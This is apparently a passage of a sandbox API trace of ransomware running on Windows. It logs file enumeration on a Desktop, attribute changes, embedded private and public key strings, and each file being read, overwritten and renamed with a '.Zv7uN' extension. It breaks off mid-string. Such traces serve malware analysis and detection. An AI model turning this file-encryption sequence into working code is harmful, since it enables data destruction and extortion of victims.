(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PyTen.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pyten.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PyTen.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pyten.jpg.zv7un")) returned 1 [0127.024] GetCurrentThreadId () returned 0xa30 [0127.024] GetCurrentThreadId () returned 0xa30 [0127.024] GetCurrentThreadId () returned 0xa30 [0127.024] GetCurrentThreadId () returned 0xa30 [0127.024] GetCurrentThreadId () returned 0xa30 [0127.024] GetCurrentThreadId () returned 0xa30 [0127.024] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb8f50, ftCreationTime.dwHighDateTime=0x1d5dcb8, ftLastAccessTime.dwLowDateTime=0x91a9ccf0, ftLastAccessTime.dwHighDateTime=0x1d5e108, ftLastWriteTime.dwLowDateTime=0x91a9ccf0, ftLastWriteTime.dwHighDateTime=0x1d5e108, nFileSizeHigh=0x0, nFileSizeLow=0x12c9e, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="QDwJRdyeY03CiQpQQ7 I.m4a", cAlternateFileName="QDWJRD~1.M4A")) returned 1 [0127.024] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.025] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.025] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QDwJRdyeY03CiQpQQ7 I.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qdwjrdyey03ciqpqq7 i.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb8f50, ftCreationTime.dwHighDateTime=0x1d5dcb8, ftLastAccessTime.dwLowDateTime=0x91a9ccf0, ftLastAccessTime.dwHighDateTime=0x1d5e108, ftLastWriteTime.dwLowDateTime=0x91a9ccf0, ftLastWriteTime.dwHighDateTime=0x1d5e108, nFileSizeHigh=0x0, nFileSizeLow=0x12c9e)) returned 1 [0127.025] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QDwJRdyeY03CiQpQQ7 I.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qdwjrdyey03ciqpqq7 i.m4a")) returned 0x20 [0127.025] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QDwJRdyeY03CiQpQQ7 I.m4a", dwFileAttributes=0x80) returned 1 [0127.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.029] GetCurrentThreadId () returned 0xa30 [0127.029] GetCurrentThreadId () returned 0xa30 [0127.029] GetCurrentThreadId () returned 0xa30 [0127.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.030] GetCurrentThreadId () returned 0xa30 [0127.030] GetCurrentThreadId () returned 0xa30 [0127.030] GetCurrentThreadId () returned 0xa30 [0127.030] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QDwJRdyeY03CiQpQQ7 I.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qdwjrdyey03ciqpqq7 i.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.030] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.031] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.031] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x12c9e [0127.031] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.031] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x12c9e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x12c9e, lpOverlapped=0x0) returned 1 [0127.034] CloseHandle (hObject=0x120) returned 1 [0127.035] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QDwJRdyeY03CiQpQQ7 I.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qdwjrdyey03ciqpqq7 i.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.040] WriteFile (in: hFile=0x120, lpBuffer=0x1f0cfa0*, nNumberOfBytesToWrite=0x12c9e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f0cfa0*, lpNumberOfBytesWritten=0x18f978*=0x12c9e, lpOverlapped=0x0) returned 1 [0127.044] CloseHandle (hObject=0x120) returned 1 [0127.045] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QDwJRdyeY03CiQpQQ7 I.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qdwjrdyey03ciqpqq7 i.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QDwJRdyeY03CiQpQQ7 I.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qdwjrdyey03ciqpqq7 i.m4a.zv7un")) returned 1 [0127.048] GetCurrentThreadId () returned 0xa30 [0127.048] GetCurrentThreadId () returned 0xa30 [0127.048] GetCurrentThreadId () returned 0xa30 [0127.048] GetCurrentThreadId () returned 0xa30 [0127.048] GetCurrentThreadId () returned 0xa30 [0127.048] GetCurrentThreadId () returned 0xa30 [0127.048] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b697040, ftCreationTime.dwHighDateTime=0x1d5e587, ftLastAccessTime.dwLowDateTime=0xaaa05030, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0xaaa05030, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="QjoWcYLR8WS55TFlj.avi", cAlternateFileName="QJOWCY~1.AVI")) returned 1 [0127.048] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.048] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.048] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QjoWcYLR8WS55TFlj.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qjowcylr8ws55tflj.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b697040, ftCreationTime.dwHighDateTime=0x1d5e587, ftLastAccessTime.dwLowDateTime=0xaaa05030, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0xaaa05030, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x4b4)) returned 1 [0127.048] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QjoWcYLR8WS55TFlj.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qjowcylr8ws55tflj.avi")) returned 0x20 [0127.049] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QjoWcYLR8WS55TFlj.avi", dwFileAttributes=0x80) returned 1 [0127.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCq